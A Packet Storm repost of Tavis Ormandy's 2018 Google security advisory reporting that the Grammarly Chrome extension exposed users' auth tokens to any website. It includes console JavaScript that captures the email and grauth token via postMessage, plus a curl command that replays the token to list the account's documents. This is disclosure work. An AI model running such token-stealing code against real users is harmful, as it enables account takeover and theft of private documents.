exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Grammarly Auth Token Exposure

Grammarly Auth Token Exposure
Posted Feb 6, 2018
Authored by Tavis Ormandy, Google Security Research

The Grammarly chrome extension (approximately ~20M users) exposes it's auth tokens to all websites, therefore any website can login to grammarly.com as you and access all your documents, history, logs, and all other data.

tags | advisory
SHA-256 | 38a9c89eebeb3e6644a94f0e937ee633297f223f24e55bd0ad56fef9c72d79e0

Grammarly Auth Token Exposure

Change Mirror Download
Grammarly: auth tokens are accessible to all websites 




The Grammarly chrome extension (approx ~20M users) exposes it's auth tokens to all websites, therefore any website can login to <a href="http://grammarly.com" title="" class="" rel="nofollow">grammarly.com</a> as you and access all your documents, history, logs, and all other data. I'm calling this a high severity bug, because it seems like a pretty severe violation of user expectations.

Users self-evidently would not expect that visiting a website gives it permission to access documents or data they've typed into other websites.

Reproduce:

Here is how to repro, on any website (e.g. <a href="http://example.com" title="" class="" rel="nofollow">example.com</a>) type this in the console to get a grammarly auth token (obviously a website could do this with <script> without any user interaction):

> document.body.contentEditable=true // Trigger grammarly
> document.querySelector("[data-action=editor]").click() // Click the editor button
> document.querySelector("iframe.gr_-ifr").contentWindow.addEventListener("message", function (a) { console.log(a.data.user.email, a.data.user.grauth); }) // log auth token and email
> window.postMessage({grammarly: 1, action: "user" }, "*") // Request user data

It should print something like this:

<a href="mailto:testaccount.zzxxyyaa@gmail.com" title="" class="" rel="nofollow">testaccount.zzxxyyaa@gmail.com</a> AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs

That grauth token matches the grauth cookie used on <a href="http://grammarly.com" title="" class="" rel="nofollow">grammarly.com</a>, and I verified that is enough to login to a <a href="http://grammarly.com" title="" class="" rel="nofollow">grammarly.com</a> account. Therefore any website can access all your docs.

To prove grauth is enough to compromise a grammarly account, you can get a list of all uploaded documents like this:

$ curl --cookie "grauth=AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs;" -A Mozilla -si '<a href="https://dox.grammarly.com/documents?search=&limit=100&firstCall=false" title="" class="" rel="nofollow">https://dox.grammarly.com/documents?search=&limit=100&firstCall=false</a>'
HTTP/2 200
date: Fri, 02 Feb 2018 20:42:51 GMT
content-type: application/json;charset=utf-8
content-length: 438
server: nginx-clojure/0.4.5
x-xss-protection: 1; mode=block
x-frame-options: DENY
x-request-id: 1-5a74cd4b-1d54e8fe06dc94f47361216e
x-content-type-options: nosniff
content-security-policy: default-src 'none'
strict-transport-security: max-age=31536000
vary: Accept-Encoding, User-Agent

[{"id":260704145,"user_id":704607600,"title":"Demo document","size":3301,"first_content":"Remember when you were a careless eight year old kid riding a bike with your friends,racing each other around the neighborhood? Remember that feeling of absolute freedom as you felt the wind in your hair and the smile it put on your face? I never thought ","errors":41,"created_at":"2018-02-02T19:20:37.693","updated_at":"2018-02-02T19:21:04.268"}]


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: taviso

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close